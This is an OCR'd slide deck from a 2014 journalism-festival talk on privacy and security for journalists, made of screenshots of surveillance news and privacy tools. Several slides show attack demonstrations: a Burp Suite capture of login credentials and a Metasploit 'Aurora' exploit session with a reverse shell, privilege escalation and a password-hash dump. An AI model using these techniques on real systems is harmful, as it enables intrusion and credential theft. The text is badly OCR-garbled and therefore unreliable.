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Home Technology ¢ Reviews ¢ Careers Tools & Resources Whitepapers Downloads Search Computerworld a

NASA breach update: Stolen laptop had data on B} Wins-powered microprocessor fermenting in .
IUPDATED: 4G in Australia: The state ofthe ..

10,000 users 2]

Breached unencrypted laptop puts personal data of NASA employees and contractors at Tech behind Man of Steel's Metropolis coming ..

risk, spokesman says Optus adds TD-LTE 4G in Sydney, Melbourne, ...

Jaikumar Vijayan (Computerwarld (US)) | 15 November, 2012 20:51 | Commerts | | [ALike <59 Q 1l g B Comms Alliance seeks regulatory change under

G shae & = A Fersonally identifiable information of "at least” 10,000 NASA employees and
contractors remains at risk of compromise following last month's theft of an e
agency laptop, a spokesman told Computerworld via email Thursday. Network Security in
Related Coverage it " ! Virtualized Data Genters | [SEMppempee)
* t’:{:-;:;gﬁ:‘;?ﬂﬂgﬁi‘;f::”“"3' Agent.:yr. employees had been told of the Octnbgr 31 theft .uf a laptop 'D{_.-TLI“‘FSLM-IH:E
containing the personal data from a locked car in an email message Tuesday
i e s s from Richard Keegan Jr., associate deputy administrator at NASA

dongle from infected ports
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Ex-MIS boss loses laptop at Heathrow lC TR
airport

Can you
Join thousands of others, and sign up for Maked Security's newsletter

Doitl ) L

by

Don't show me this again

by Graham Cluley on June 1, 2012 | 7 Comments Sophos Mobile Control
FILED UMDER: Data losg, Featured, Law & order, Privacy

Countless devices. One solution.

Stella Rimington, the farmer Director-General of
MIS (Britain's Security Service), has had her
laptop stalen accarding to media reports.

Try it free E}

SOPHOS

Dame Stella Rimington made the headlines in
1992 when she was publicly named as the first
female chief of MIS and is believed to have
inspired Judi Dench's casting as spy chief "M" in
the James Bond films. Dame Stella has since

carved herself a career as a spy novelist. Fre - U T M

The farmer boss of MIS was said by The Sun | i ome
newspaper ta be "very upset" by the theft which accurred as she left

Heathrow airport last Tuesday. Fdition f‘
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Feds target US Advertise | [ AdChoices

g2t Feds target US travelers and seize
sl laptops at border, new files detail BNMEY 0w
Anne Flaherty , The Associated Press
Srm Lo See what's trending while you
E;‘jhc'tdnf';ze” Sep. 10, 2013 at 9:30 AM ET browse. Add the msnNOW
sexting won't ideb to Firefox &
help ’ Newly disclosed U.S. sidebar to Firefox @
Snapchat's .
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an inside look at the m
TECHNOLOGY Homeland Security
Google buys Department's practice of = _
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POLICY > GOVERNMENT

Showden journo's boyfriend 'had crypto key for
thumb-drive files written down' - cops

Greenwald, Guardian roasted over 'very poor' security
By Lewis Page, 30th August 2013

Free virtual event : Learn how to leverage change for better T

107

RELATED
STORIES

Flying in the US?
Remember to
leave your hand
grenades at
home

Journalists and their associates involved in the Edward Snowden NSA leaks affair
followed almost unbelievably poor security practices while handling top-secret
government files, according to a statement made in court by a British official today.

The hearing was looking into the case of David Miranda, the partner of journalist
Glenn Greenwald, to whom fugitive NSA sysadmin Snowden is believed to have
leaked large amounts of highly classified data. Miranda was stopped and held at
London's Heathrow airport on 18 August while en route from Germany to his and
Greenwald's home in Brazil: police seized thumb drives and other items capable of
holding data from him, and interrogated him for 9 hours - the maximum time he could
be held without being arrested under UK anti-terror laws - before |etting him go on
his way.

Analysis That
earth-shattering
MSA crypto-
cracking: Have
spooks smashed
RC47

The Guardian subsenusnthy

MOST READ MOST COMMENTED

Microsoft mocks Apple and new iPhones in
vids it gquickly pulls

How to get a Raspberry Fi to take aver your
Fobot House

Ok, so we paid a bill late, but did BT have to
do this?

In MASSIVE surprise, world+dog discovers
Mokia checked out Andraid

City of Munich throws Ubuntu lifeline to
Windows XP holdouts

Beginning of the end  Turnbull floats
far Cenitex g-vote, compulsary

|
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- Plausible Deniability

hittp://www.urbandictionary-com/define.php?term=plausible deniability

b Urban Dictionary: plausible deniability - Mozilla Firefox A 3
File Edit Wiew History Bookmarks Tools Help

urbandictionary.com

m o Feedback m 173K followers

T look up any word, like spaff directory:
R ‘ plausible deniability

DICTIONARY

word of the day  categories  favorites BEER®M game  thesaurus  names  media  store

randﬂm.ﬂ.BCDEFGHIJI'?ILMf\JOEQRSTI.JUW}{\’E#nEWtV

iening 1. plausible deniability > 3 357 up, 60 down
CWeark P

pomoseaxuality =i

spaff directory & condition in which a subject can safely and believeably deny knowledae of any
"L”"?’ 34 particular truth that may exist because the subject is deliberately made unaware of
white lobster
smh

selfie through the knowlaedge of such truth,

hipster Migliori Aziende
The CIA black ops division undertakes dangerous and usually what would be considered Per Un Matrimonio

Da Sogno

said truth so as to benefit or shield the subject from any responsibility associated Consulta Le

left handed website
poop lasagna iWegal missions that are not officially sanctioned by the US administration so that the

categories administration, which usually benefits from such missions, can safely dissavow any
gaming
sports L o - ) o ) .
food administration is in the position of plausible deniability towards the CIA's actions. LaFiera
sey

tv
film ie § obfuscate | truth | political | doctrine

knoviledge of them in the event of their publically uncovered success or faifure, The

mark as favorite | buy plausible deniability mugs & shirts
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@ I www.zdnet.com/news/spy-agency-taps-into-undersea-cable/115877
Topic: Fiber Follow via: ]y |4

Spy agency taps into undersea
cable

Summary: The N5A is looking for new ways to snoop, since advances in telecommunications
have muffled its ears. Now it's splicing into undersea fiber-optic cables-a potentially illegal and
not-yet-successful move.

1 By Neil Jr. | May 23, 2001 -- 00:00 GMT (17:00 PDT)

Comments =~ 0 | |fr Vote = 1 |[lke <55| W Tweet {39 (L share more +

WASHINGTOM--For decades, the Wational Security Agency did most of its spying by plucking
information out of thin air. With a global network of listening stations and satellites, the NSA
eavesdropped on phone conversations in Saddam Hussein's bunker, snatched Soviet missile-
launch secrets and once caught Brezhnev in his limousine chatting about his mistress.

The MS&'s task was relatively simple then because most international phone-and-data traffic
moved via satellites or microwave towers, The agency sucked up those signals and sorted
through them with supercomputers, Few of its eavesdroppers risked life or limb, and those they

ZDNet

in 13 benchmarks
to get you
extreme results

SPARC Servers
Fujitsu M10

learn maore >>

Eelated Stories

Turnbull's MBM claim over Telstra
copper is not supported by logic

By menacing Telstra's pay TV,
Foutel could liberate NEM-era HFC

intabank building spot market for
cloud bandwidth on demand

Indiatn roll o hioh-enesd
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Q;] Iﬂ https://prism-break.org v & |28~ Google a @
|
— PRISM £ BREAK Media Donate Bitcoin Contribute English j
Email client
Froprietary Free alternatives ] show all  MNotes

" Apple 0S X Mail

ai Microsoft Office
Outlook

Mozilla Thunderbird
Multi-platform email application with mail
encryption through the Enigmail add-on.

Enigmail CpenFGF email encryption add-on for

Thunderbird and lcedove. PGP

TorBirdy Add-on that makes Thunderbird and lcedove
connect through Tor  experimental

Claws Mail
Lightweight, featureful email application for
multiple platforms with built-in PGP support.

Sylpheed

Switching from a proprietary service like Gmail to one
of the more transparently-run email services on
PRISM Ereak is the first step to a secure email
account.

The second step is getting you and your contacts to
encrypt your plain text messages with PGP
encryption. This section contains free email clients
that support PGP,

Here is a guide by Security In A Box to encrypting
your email with Mozilla Thunderbird, GNU Privacy
Guard (GPG), and Enigmail.

Find out mare about the differences between Mozilla
Thunderbird and lcedove.
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“Man in The Middle”

web server app backend db server

B 1752

A\ Awiso di proteziong

Problemi con il certificato ¢ _
protezione del sito. X 1l nome del sito non

corrisponde al nome nel
X Il nome del sito non certificato.
corrisponde al nome ne

certificato. Rilasciato a:

Mome comune:
certificato

Crganizzazione:
PortSwigger

- s desktop
Unita organizzativa: desktop
PortSwigger BYOD user

Rilasciato da: wifi user

hot-spot user pagina

servizi in cloud
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Minacce: MiTM

“Man in The Middle”

web server app backend db server

E Burp Suite Professional v1.4.12 - licensed to Enforcer [single user license] :
Burp Intruder Repeater Window Ahout

\ F!rD};y.T Spider I Scar‘merT Intruder T Repeater T Seguencer I Decoder I Comparer I Options T Alarts ]

Intercept T Dptions T History ]

A Request to https:/wenw, cioccolatai.it: 443 [188.40.104, 2346)

Forward J l Crop J [ Intercept is on ] l Action |Comment this item

Ei_ng Farams T Headers T Hex ]

POST /mail/?page=login HTTP/L.1

Host: www.cioccolatai.it

Accept-Encoding: gzip

RPeferer: https://www.cioccolatai.it/mail/

Aceept-Lancuage: it-IT, en-Us

Uzser-Agent: Mozillas5.0 (Limwe; U: Android Z.3.7; it-it: Geeksphone ONE Build/GEI40; CyvanogenMod-7) AppleWebEit/533.1 (EHTML, like
Gecko) Version/4.0 Mobile Safari/533.1

Origin: https://www.cioccolatai.it

Acoept: application/xml,application/xhtml4xml, text/html q=0.9, text/plain;g=0.8, inage/pog, */*2q=0.5
Content-Type: application/x-www-form-urlencoded

Accept-Charset: wutf-8, iso-8859-1, utf-le, *;q=0.7

Content-Length: 53

user=useridlexanple. comspass=superiegretlslogin=Entra

g

= + | [ = | [7yvpe a search term | 0 matches
L= le =] [ne
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I @ www.zdnet.com/how-the-nsa-and-yvour-boss-can-intercept-and-break-ssl-7000016573/

How the NSA, and your boss, can
intercept and break SSL

Summary: Most people believe that SSL is the gold-standard of Internet security. It is good, but
SSL communications can be intercepted and broken. Here's how.

By Stewen 1. Vaughan-Nichols for Networking | June 8, 2013 -- 22:44 GMT (15:44 PDT)
W Follow @sjwn

Comments | 40 | fr Votes| 5 | [like 7638) o Tweet <355 msnare more +

Is the Mational Security &gency (MS&) really "wiretapping” the Internet? Accused accomplices
Microsoft and Google deny that they have any partin it and the core evidence isn't holding up
that well under closer examination.

Some, however, doubt that the NSA could actually intercept and breal: Secure-Socket Layer (S5L)
protected Internet communications.,

Ah, actually the NSA can.

And, you can too and it doesn't require "Mission Impossible” commandos, hackers or
supercomputers. &ll you need is a credit-card number.

M-

2§~ Google e,

Quest One access governance
lets you make sure that the right
people get the right access.

Leam More »

Salbware

FRelated Stories

te Open¥ releases mandatory fix to
'q:lﬁ'lx. prevent ad server trojan attacks

State surveillance may be a fact of
modern life, but having 'nothing to
hide' is not an excuse for apathy

- China suffers 'largest’ cyberattaclk:;
T

Censorship makes it difficult to
gauge attack scope

Eortinet refreshes SMB sacurity
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@ I & https:/jwww.eff.org/https-everywhere

"3, HTTPS Everywhere

HTTPS Everywhere HTTPS Everywhere is a Firefox and Chrome extension that
FAQ encrypts your communications with many major websites,

making your browsing more secure. Encrypt the web:
Report Bugs /HackOn  Install HTTPS Everywhere today.

The Code
Creating HTTPS
Everywhere Rulesets
How to Deploy HTTPS
Correctly
Install in Firefox Install in Chrome
Version 3 Stable Beta Version

- & I-"'v Google

Donate to EFF 9

Stay in Touch

Ermail Address

Postal Code (optional)

SIGN UP HOW

EFF is leading the fight against the
MEA's illegal mass surveillance

program. Learn mare about what the
program is, how it works and what you

can do.
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oy PRISM_Collection_Details.jpg (JPEG Image, 700 = 525 pixels) - Scaled {94%] - Mozilla Firefox A
Edit Wiew History Bookmarks Tools Help

=N WY ttps jjupload wikimedia.orgjwikipedia/cormmons/fif3/PRISM_Collection_Details jpg

Aw

| .-1- (L]
¥ Hotmalil Google . ry®v=p paltalk Youl

YAHOD’ i b | AOL &

IOP SECRET/SIVORCONI/NOFQRN

What Will You Receive in Collection
(Surveillance and Stored Comms)?
[t varies by provider. In general:

Current Providers

E-mail
Microsoft (Hotmail, etc.) Chat = video, voice
Videos
Photos
Stored data
VolP
PalTalk File transfers
YouTube Video Conferencing
Skype Notifications of target activity — logins, elc.
AOL Online Social Networking details
Apple Special Requests

Google
Y ahoo!
Facebook

Complete list and details on PRISM web page:
Go PRISMFAA TOP SECRET/SI/ORCON/NOFORN
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analysis.

Whatis Tor?

Tor is free software and an open network that
helps you defend against a form of network
surveillance that threatens personal freecom

Anonymity Online

Protect your privacy. Defend yourself
against network surveillance and traffic

Download Tor =

and nrvary  confidential husiness activities and
4

# Tor prevents anyone
from learning your
location or browsing
habits.

Tor is for web browsers,

instant messaging clients,

remote logins, and more.

» Toris free and open

source for Windows, Mac,

Linux/Unix, and Android

Why Anonymity Matters

Tor protects you by bouncing your
communications around a distributed network of
relays run by volunteers all around the world: it

nrevents somehochy watehing woor Internet

Announcements

Tor, NSA, GCHQ, and QUICK ANT
11 Speculation. Read our thoughts,

Learn about the lifecycle of a new

11 relay.
SR Mew Tor 0.2.4,17-rc packages. Learn

06 what's new.

= How to handle millions of new Tor
Q5 clients. Read the details.

File Edit Wiew History Bookmarks Tools Help
@ @ IE https:/fwww.torproject.org - & I-;',','v Google @, @
Home About Tor Documentation Press Elog Store Contact B
Download Volunteer, Donate




- anonimizzazione

https://www:-torproject.org/

EY) How Tor Works: 1 €5 Tor node

« « g Unencrypted link
—e aNCrypted link

& Step 1: Alice's Tor
client obtains a list
of Tor nodes from —
a directory server. fans
A J
[ e ] mETiere.
Dave Bob
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- anonimizzazione

https://www:-torproject.org/

EH) How Tor Works: 2 2% Tornode
- om -h.

unencrypted link
——pe oncrypted link

Step 2: Alice's Tor client
picks a random path to

destination server. Green : -
links are encrypted, red - * __ e
links are in the clear. s prr

Dave =

SOME RIEHTE RESERVED



- anonimizzazione

https://www:-torproject.org/

EY) How Tor Works: 3 €5 Tornodo

« « = Unencrypted link |
—p Gnerypled link

Alice

Step 3: I at a later time, the
user visits another site,
Alice's tor client selects a
second random path.
Again, green links are
encrypted, red links are in
the clear.
T T
Dave
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Minacce: stazioni di lavoro
network & client side attacks) trojan, ...

() Add People .4, Send File(s) ﬁ Chat History
Doubleclick here to set chat topic

[09:21:40] 31337: http:/finvurl.com/icb5t4

(=) Emoticons

Edit Profile
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Minacce: stazioni di lavoero

network & client side attacks) trojan, ...

2 http:/110.0.1.104:B080/7xguHraDqVTMjuRDSVQD - Microsoft Internet Explorer &
- File  Modifica Visualizza  Preferiti  Strumenti 7
@® Skype Chat = &
@ Add People ;‘u Send File(s) ‘ @ Indietro \\J @ @ i:j .J:) Cerca WPreferltl @' @ .,i# .ﬂ
Double-click here to set chat topic Indirizzo | €] http:/f10.0.1.104:8080/?xquHraDay TLWRDSVQD v Bva  collegamenti

[09:21:40] 31337: http:/ftinvurl.comfid

(Click)

(=) Emoticons

@ Operazione completata ﬂ Internet

& ‘4 start <R http:i10.0.1.104:50. .,
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Minacce: stazioni di lavoro
network & client side attacks) trojan, ...

2 http:#10.0.1.104:B0B0/ZxguHraDqV TMjuRDSVQD - Microsoft Internet Explorer M=
M
)

File  Modifica Visualizza  Preferiti  Strumenti 7

| @ Skype Chat

() Add People .4, Send File(s)

- P -
Collegamenti

Doubleclick here to set chat topic

31337: http:fftinvurl.coml

msf exploit{ms1@_002Z2_ourora) > exploit -
[*] Started reverse handler on 10.9.1.184:443
[*] Using URL: http://0.0.0.0:8030/

[*] Local IP: http://10.0.1.104:8280/

[*] Server started.

[*] Sending Internet Explorer “Aurora®™ Memory Corruption to client 128.8.1.136

[*] Sending stage (749056 bytes) to 106.0.1.136

[*] Meterpreter session 1 opened (10.0.1.1084:442 -> 10.0.1.136:58559) at 2010-12-21 13:18:06 +0200

mef exploit(ms1@ 82 ourora) > sessions -i 1

frmme—m

[*] Starting interaction with 1...

meterpreter > shell
Process 430 created.

Channel 1 created.
Microsoft Windows XP [Versione 5.1.2608]
CC) Copyright 1985-720@1 Microsoft Corp.

C:\Documents and SettingssbaltarDesktops

éil Operazione completata ﬂ Inkternet
7 Fa
1y Start R hetpejf10.0.1. 10480, . EM I 'Y, 1518
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Game Over

thnxs/credits: unknow +hdm@metasploit.com

B httn- 040 N 1 ANA-RNRNPvankraNal TAinBNEYNN _ Micrnenft Intarnat Fyvnlarar
C:\Documents and SettingshbaltarsDesktop=dir N

dir C:\

Il volume nell*unit® C non ha etichetta.

Numero di serie del volume: 6813-B985

Directory di C:M

21/19/2010 14.54 O AUTOEXEC.BAT
21/10/2010 14.54 @ CONFIG.SYS
21/19/2010 15.11 <DIR> Documents and Settings
21/10/20190 15.11 <DIR> Programmi
21/10/2010  15.11 <DIRs> WINDOWS

2 File @ byte

3 Directory 8.961.507.328 byte disponibili
C:\Documents and Settings\baltar\Desktop:

meterpreter > getsystem
 --.got system (via technique 1).
meterpreter > getuid

Sewer username: NT AUTHORITYNSYSTEM

'meterpreter > hashdump
M’rlin‘istmtﬁr 500:031d20e2331 47195468000 d 923944 4115c44~21ﬁ49155hdﬁ&e1ebcc53d13. -
hultur 1003 : aod3b435b51404ecand3b435b51404ee: ﬂﬁcfﬂdlﬁnﬂﬂlﬁkﬁ?ﬂeﬂcﬂﬂgc@
Guest:501 : 0ad3b435b51404eeaadIb435b51404ee : 31 d6cfeBd160e931 b7 3cSOdT ODIICO : -
'HelpAssistant:100@:659c36Fabffblof2adal 92855207 fele: MEDEEI%E'FEEGZEEEB'!-EEEMIEW' me
SUPPORT_38894508 : 1002 : 0ad3b435b51 4ddecaad3ba35b51404dee EEIESEIEEdEBIBHfEhFBF?Fﬁﬂ?I

T Aroposioe. e e

Problematiche di privacy e sicurezza per giornalisti - The Hacker’s Corner - International Journalism Festival 2014

© lgor Falcomata <ifalcomata@enforcer.it>, alcuni diritti riservati: http://creativecommons.org/licenses/by-sa/2.0/it/deed.it - Pagina 27 SOME RIGHTS RESERVED



File Edit Wiew History Bookmarks Tools Help

Qﬂ Iﬂ https://prism-break.org

— PRISM s BREAK Media
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Free alternatives

y  Liberté Linux
?/ Live CD/USE based on Hardened Gentoo

designed as a communication aid in hostile
environments.

/. Tails
A T |
/ Live CD/USE based on Debian and Tor

aimed at preserving your privacy and
anonymity.

_& JonDo
Live CD/USE based on Debian with

pre-configured tools for anonymous surfing
and more.

& Whonix

- 2 I-;';]v Google @, @
=

Donate Bitcoin Contribute English j

Notes

A live distribution like Tails or Liberté Linux is the
fastest and easiest way to a secure operating system.
All'you have to dois create a bootable CD or USB
drive with the files provided and you're set. Everything
else will be precanfigured far you.

Awirtual machine (YM) image like Whonix is designed
to be run inside of a virtualization package like
VirtualBox. VirtualBox can be installed on Windows,
Linux, OS X, and Solaris. This means that if you're
stuck using Windows or OS X for whatever reason,
you can install VirtualBox and use Whaonix to increase
your privacy and security.

|
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@ Iﬁ qubes-os.org/trac/wiki/QubesArchitecture - 2 I-l"]v Google

Hame

Download

Docurmentation
Mailing List
Source code
License
levelopears
Donate

Contact

Qubes implements Security by Isolation approach. To do this, Qubes utilizes virtualization technaology,
to be able to isclate various programs from each other, and even sandbox many system-level
components, like networking or storage subsystem, so that their compromise don't affect the integrity
of the rest of the system.

Qubes lets the user define many security domains implemented as lightweight Virtual Machines (WMs),
or "AppWMs", E.g. user can have "personal”, "worl", "shopping”, "bank”, and "random” AppWMs and can
use the applications from within those YMs just lilkke if they were executing on the local machine, but at
the same time they are well isclated from each other. Qubes supports secure copy-and-paste and file
sharing between the AppWMs, of course,

.
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A

Xen hypervisor
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Backdoor in mission-critical hardware
threatens power, traffic-control systems

A secret backdoor account imperils utilities using mission-critical routers.

by Dan Goodin - Apr 25 2012, 2.30pm CEST
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Froprietary Free alternatives ] show all  MNotes

& Apple OSX

@ Google Chrome OS5
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Debian
Strictly free, ethical GRU/Linux distribution.

most stable

Fedora
Fast, stable and powerful GNU/Linux
distribution. most cutting edge

Gentoo
GMULinuwx distribution about choice control
and security. most advanced features

Linux Mint Debian Edition
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TS BT

Apple, Google, and Microsoft are allegedly a part of
PRISM. Their proprietary operating systems cannot
be trusted to safeguard your personal information
fram the NSA. We have two free alternatives:
GNU/Linux and BSD.

Debian has a long tradition of software freedom.
Contributers have to sign a social contract and
adhere to the ethical manifesto. Strict inclusion
guidelines make sure that only certified open source
software gets packaged in the main repositories.

Gentoo describes itself as a meta-distribution. The
source code is compiled to binary applications on the
user's machine allowing near-unlimited adaptability
and complete retraceability of the program logic.

Linux Mint Dehian Editian {1 KMOEY is orobably the
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How Apple let a hacker remotely B i e e e s

people get the right access.

wipe an iPhone, iPad, MacBook

Summary: Gizmodo’s Twitter account was recently hacked, after a former employee's iCloud
account was breached, and all his Apple devices (iPhone, iPad, MacBook Air) were remotely
wiped. It turns out the hacker didn't even have to get the password: he just tricked Apple's tech

Leam More »

support.
Salbware

By Emil Protalinski for Zero Day | August 5, 2012 -- 17:38 GMT (10:38 PDT)
&” Follow @emilprotalinski

L4 gcmiv elated Stories
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You know who else had a
T =
Comments 64 ir Votes 3 Fllike <425  oF Tweet |« 321 mshﬂre mare + ‘ZDMI. nrcaaE?

On Friday, I wrote about how Gizmodo's Twitter account
was hacked, It turns out that this was Apple's fault,

Apple developer site undergoing
rebuild after intrusion

Let's take a step back. Over the weekend, it quickly becamea
clear that the bigger story was how the whole thing
started. First, former Gizmodo employee Mat Honan's iCloud
account was hacked, The hacker then remotely wipad his
iPhone, iPad, and MacBoolk air, got into his Gmail account,
his Twitker account, and finally Gizmodo's Twitker account.,

Has the NS4 broken our
encryption?

Imperva calls for removal of PHP
'SuperGlobal feature
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‘user != administrator
sandboxing (chrome, adobe?, ..)
‘non c'e/non si rompe..
aggiornamenti
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* NSA analysts require no prior authorization for searches | Pinit | 153
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= NSA's XKeyscore program — read one of the presentations
[~ Email
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Glenn Greenwald
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Social networking
Froprietary Free alternatives [] show all  Motes
SOFTWARE o _

Google+ If you have system administration knowledge, please

buddycloud strongly consider running an instance of pump.io (or

P _ . : . :

n Facebook hmnn Open source, federated social network. something else) for your friends, family, or favaorite

e community. Many of them would be willing and grateful
m LinkedIn to escape Facebook if you provide them a way out. J
n Twitter Diaspora Far those of you without your own server,

Community-run, distributed social network RetroShare is the easiest way to start your own

e encrypted social netwark.

identi.ca is a popular Twitter-like social netwaorking

Friendica hub for the free and open source software community

Privacy respecting, distributed, federated built on pump.io.

social network.

e o
Private, decentralized social network server. |
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@ I{s;- hardware.slashdot.org/story/13/09/13/1228216/stealthy-dopant-level-hardware-trojans - & I-"]v Google &, @

SLUIIES
Stealthy Dopant-Level Hardware Trojans
submissions

Posted by Soulskill on Friday September 13, 2013 @08 544M
pupular from the getting-in-before-the-rush dept.

blo = B
9 DoctorBit writes

all stories "M teamn of researchers funded in part by the NSF has just published a paper in

which they demonstrate a way to introduce hardware Trojans into a chip by
ask slashdot altering only the dopant masks of a few of the chip's transistors. From the
paper: 'Instead of adding additional circuitry to the target design, we insert our

Moo s hardware Trojans by changing the dopant polarity of existing transistors. Since

games the modified circuit appears legitimate on all wiring layers {including all metal

and polysilicon), our family of Trojans is resistant to most detection
techniques, including fine-grain optical inspection and checking against "golden
yro chips." In a test of their technigue against Intel's lvy Bridge Random Number
Generator (RMNG) the researchers found that by setting selected flip-flop outputs

idle

to zero or one, 'Cur Trojan is capable of reducing the security of the produced
random number fram 128 bits to n bits, where n can be chosen.’ They conclude
hardware that 'Since the Trojan RMNG has an entropy of n bits and [the original circuitry]
uses a very good digital post-processing, namely AES, the Trojan easily
passes the NIST random number test suite if nis chosen sufficiently high by
management the attacker. We tested the Trojan for n = 32 with the MIST random number test
suite and it passed for all tests. The higher the value n that the attacker
chooses, the harder it will be for an evaluator to detect that the random

cloud

mohile

science numbers have been compromised.
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Presentazioni e risorse..

Raccolta di notizie relative a sicurezza informatica, intrusioni, privacy, ..
https://www.enforcer.it/news

Attacchi informatici.. un po’ di chiarezza (International Journalism Festival, 2013)
https://www.enforcer.it/dl/attacchi_informatici_ijf2013.pdf

Smart cities.. smart security? (Smau, 2013)
https://www.enforcer.it/dl/smartcities _ smau2013.pdf

Owning the Business, Reloaded (Smau, 2010)
https://www.enforcer.it/dl/Owning_3.pdf

Intrusioni reali all’epoca del web 2.0 (Smau, 2010)
https://www.enforcer.it/dl/intrusioni_reali 2.0.pdf

Owning the Enterprise 2.0 (Fortinet Roadshow, 2009)
https://www.enforcer.it/dl/Own1ng_enterprise 2-0.pdf

Vulnerabilita informatiche (semplici) in infrastrutture complesse (Smau, 2006)
https://www.enforcer.it/dl/vulnerabilita_semplici.pdf
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https://www.enforcer.it/dl/intrusioni_reali_2.0.pdf
https://www.enforcer.it/dl/0wn1ng_enterprise_2-0.pdf
https://www.enforcer.it/dl/vulnerabilita_semplici.pdf

The Hacker's Corner

International Journalism Festival
Perugia - 2 maggio 2014

Privacy e sicurezza..
..per giornalisti “in rete”

Igor Falcomata

Domande?

isti

Risposte?
(grazie)

— ST IS I T
utilizzate e come fare per difendersi?
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